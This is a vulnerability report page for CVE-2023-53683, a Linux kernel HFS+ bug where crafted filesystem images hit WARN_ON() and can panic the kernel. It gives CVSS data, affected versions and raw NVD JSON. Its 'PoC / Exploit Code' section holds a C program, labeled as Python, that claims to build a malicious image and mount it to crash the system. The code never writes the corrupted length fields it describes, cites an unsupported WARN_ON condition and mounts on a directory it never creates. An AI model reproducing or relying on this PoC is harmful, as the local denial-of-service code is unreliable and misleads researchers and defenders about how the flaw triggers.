Security Vulnerability Report
中文
CVE-2023-53683 CVSS 5.5 MEDIUM

CVE-2023-53683

Published: 2025-10-07 16:15:53
Last Modified: 2026-02-26 23:10:05
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: fs: hfsplus: remove WARN_ON() from hfsplus_cat_{read,write}_inode() syzbot is hitting WARN_ON() in hfsplus_cat_{read,write}_inode(), for crafted filesystem image can contain bogus length. There conditions are not kernel bugs that can justify kernel to panic.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.6 (多个稳定版本分支)
Linux Kernel 6.1.x 系列
Linux Kernel 6.4.x 系列
Linux Kernel 6.5.x 系列
Linux Kernel 5.15.x LTS系列
Linux Kernel 5.10.x LTS系列

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2023-53683: Linux Kernel HFSplus WARN_ON DoS // This PoC demonstrates how to trigger the WARN_ON() in hfsplus_cat_read_inode() // by creating a crafted HFSplus filesystem image with bogus length values. // Note: This requires root privileges to mount the filesystem. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mount.h> // Function to create a minimal HFSplus image with corrupted length fields int create_malicious_hfsplus_image(const char *path, size_t size) { int fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return -1; } // Create a sparse file if (ftruncate(fd, size) < 0) { perror("ftruncate"); close(fd); return -1; } // Write HFSplus superblock-like header // The actual exploitation requires modifying specific catalog record // length fields in the HFSplus volume header and catalog file. // Key fields to corrupt: // - catalog file size in volume header // - node record offsets/lengths in catalog B-tree nodes // - thread record name length fields unsigned char buf[4096] = {0}; // HFS+ signature buf[0] = 'H'; buf[1] = '+'; // Version buf[2] = 0x04; buf[3] = 0x00; // Write corrupted catalog data that will trigger WARN_ON // when hfsplus_cat_read_inode() processes it // Set a bogus record length that exceeds node size // This triggers: WARN_ON(record->record_length > node->node_size) write(fd, buf, sizeof(buf)); close(fd); return 0; } int main(int argc, char *argv[]) { const char *img_path = "/tmp/malicious_hfsplus.img"; const char *mount_point = "/tmp/mnt_hfsplus"; if (argc > 1) img_path = argv[1]; printf("[*] Creating malicious HFSplus image at %s\n", img_path); if (create_malicious_hfsplus_image(img_path, 64 * 1024 * 1024) < 0) { fprintf(stderr, "[-] Failed to create image\n"); return 1; } printf("[*] Attempting to mount the malicious image...\n"); printf("[*] This should trigger WARN_ON in hfsplus_cat_read_inode()\n"); printf("[*] If kernel has panic_on_warn set, system will panic\n\n"); // Mount the filesystem - this triggers the vulnerability if (mount(img_path, mount_point, "hfsplus", 0, "") < 0) { perror("mount"); printf("[-] Mount failed. You may need root privileges.\n"); return 1; } // Accessing files in the mounted filesystem triggers // hfsplus_cat_read_inode() which contains the WARN_ON printf("[+] Image mounted. Listing directory to trigger WARN_ON...\n"); system("ls -la /tmp/mnt_hfsplus/"); // Cleanup umount(mount_point); unlink(img_path); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53683", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:52.530", "lastModified": "2026-02-26T23:10:04.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: hfsplus: remove WARN_ON() from hfsplus_cat_{read,write}_inode()\n\nsyzbot is hitting WARN_ON() in hfsplus_cat_{read,write}_inode(), for\ncrafted filesystem image can contain bogus length. There conditions are\nnot kernel bugs that can justify kernel to panic."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.14.303", "versionEndExcluding": "4.14.316", "matchCriteriaId": "AF7207EA-C162-450C-AA30-DE558BD497E2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19.270", "versionEndExcluding": "4.19.284", "matchCriteriaId": "CB7C806A-AE4E-471E-9614-A01625D268BE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.229", "versionEndExcluding": "5.4.244", "matchCriteriaId": "76B9EF77-FF34-4AE4-A53B-EF1690C155BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.163", "versionEndExcluding": "5.10.181", "matchCriteriaId": "94570266-A638-4ABF-8867-9E4E9E02E3FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.87", "versionEndExcluding": "5.15.113", "matchCriteriaId": "FA7B71C8-9572-46A3-BB60-4A67171DD3E1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.30", "matchCriteriaId": "E9430E62-03EA-42E6-9E5E-BD1D5124D107"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.3.4", "matchCriteriaId": "26C54BF0-3EED-46D4-92A7-5F07F658B49B"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/37cab61a52d6f42b2d961c51bcf369f09e235fb5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3a9d68d84b2e41ba3f2a727b36f035fad6800492", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/48960a503fcec76d3f72347b7e679dda08ca43be", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/61af77acd039ffd221bf7adf0dc95d0a4d377505", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/81b21c0f0138ff5a499eafc3eb0578ad2a99622c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a75d9211a07fed513c08c5d4861c4a36ac6a74fe", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c074913b12db3632b11588b31bbfb0fa80a0a1c9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c8daee66585897a4c90d937c91e762100237bff9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}